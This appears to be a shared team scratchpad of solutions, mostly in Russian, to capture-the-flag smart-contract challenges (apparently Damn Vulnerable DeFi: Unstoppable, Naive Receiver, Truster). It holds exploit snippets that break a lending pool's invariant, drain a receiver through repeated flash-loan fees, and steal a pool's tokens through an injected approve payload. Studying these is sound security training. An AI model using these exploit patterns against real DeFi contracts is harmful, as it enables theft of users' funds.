# Tmp hackboard
## Template
Just copy section below and put your submission into snippet area
### lotner
#### task 1
```solidity
put code here
```подлезть под amount и owner
### algys
#### task 1
```solidity
```
### keff
### task1
Вызываем функцию возврата два раза вызывает падение
this.token.transfer(this.pool.address, INITIAL_ATTACKER_BALANCE, {from: attacker });
### task2
Контракт обращается за заемами множество раз до тех пор пока баланс не станет меньше процента заема.
```
function attack(
INaiveReceiverLenderPool pool,
address payable receiver
) public {
uint256 FIXED_FEE = pool.fixedFee();
while (receiver.balance >= FIXED_FEE) {
pool.flashLoan(receiver, 0);
}
}
```
### task3
Возьмем заем в 0, и заапрувим контракт передав в качестве payload функцию переводящую деньги на наш контракт, после чего спишем все деньги с контракта
```
function attack(IERC20 token, ITrusterLenderPool pool, address attackerEOA)
public
{
uint256 poolBalance = token.balanceOf(address(pool));
bytes memory approvePayload = abi.encodeWithSignature("approve(address,uint256)", address(this), poolBalance);
pool.flashLoan(0, attackerEOA, address(token), approvePayload);
//fgghed pf,bhftv dct
token.transferFrom(address(pool), attackerEOA, poolBalance);
}
```
### Tigran
### Task 1
Идея: В функции flashLoan контракта UnstoppableLender выполняется assert на равенство storage переменной poolBalance и memory переменной balanceBefore. Нарушение данного равенства приведет к отказу работы функции flashLoan. Нарушить равенство можно, переведя на баланс UnstoppableLeneder токены с баланса аккаунта атакующего.
Решение:
```
await this.token.transfer(this.pool.address, INITIAL_ATTACKER_BALANCE,
{from: attacker});
```
### Task 2
Идея: Контракт NaiveReceiverLenderPool выдает заём не msg.sender, а на параметризованный адрес. Таким образом, можно неограниченно запрашивать заём средств на атакуемый аккаунт, вынуждая его оплачивать комиссию.
Решение:
```
while (await balance.current(this.receiver.address) > 0) {
await this.pool.flashLoan(this.receiver.address, 0);
}
```
### Task 3
Идея: Функция flashLoan использует параметризированные адреса borrower и target, вместо msg.sender. Также функция принимает поле data, и напрямую передает его при вызове метода call у target, не проверяя его содержимое. Соответственно, можно использовать в качестве target damnValuableToken и в качестве data передать payload, вызывающий метод approve у токена, выдывая атакующему аккаунту approve на распоряжение балансом контракта TrusterLenderPool.
Решение: **WIP**
## Fedor
## task 1
Как уже писали выше, использовать стандартный ERC-20 трансфер вместо использования функции depositTokens(), тогда два значения poolBalance и balanceBefore не будут одинаковы.